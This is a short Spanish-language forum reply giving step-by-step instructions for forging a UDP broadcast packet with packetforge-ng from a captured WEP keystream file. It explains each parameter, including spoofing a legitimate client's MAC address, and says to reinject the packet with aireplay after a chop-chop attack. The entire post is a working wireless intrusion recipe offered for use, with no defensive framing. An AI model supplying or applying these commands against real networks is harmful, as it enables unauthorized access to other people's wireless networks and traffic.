prueba esto:
packetforge-ng --udp -a <bssid> -h <smac> -c <dmac> -y <prga.xor> -w ejemplo -k <IP origen[:puerto]> -l <IP destino[:puerto]> -o
h=cliente legitimo o tu si estas asociado al AP mejor cliente legitimo
c=ff:ff:ff:ff:ff:ff
y=archivo xor
ip origen=la q sea la q te de la gana
ip destino=192.168.1.255 el 255 final es siempre el resto es de acuerdo a tu puerta de enlace.
luego te generar una archivo llamado ejemplo o como tu le pongas y lo reinyectas con el 2.
si te funciona el chop-chop con la ipw2200 este tambien te funcionara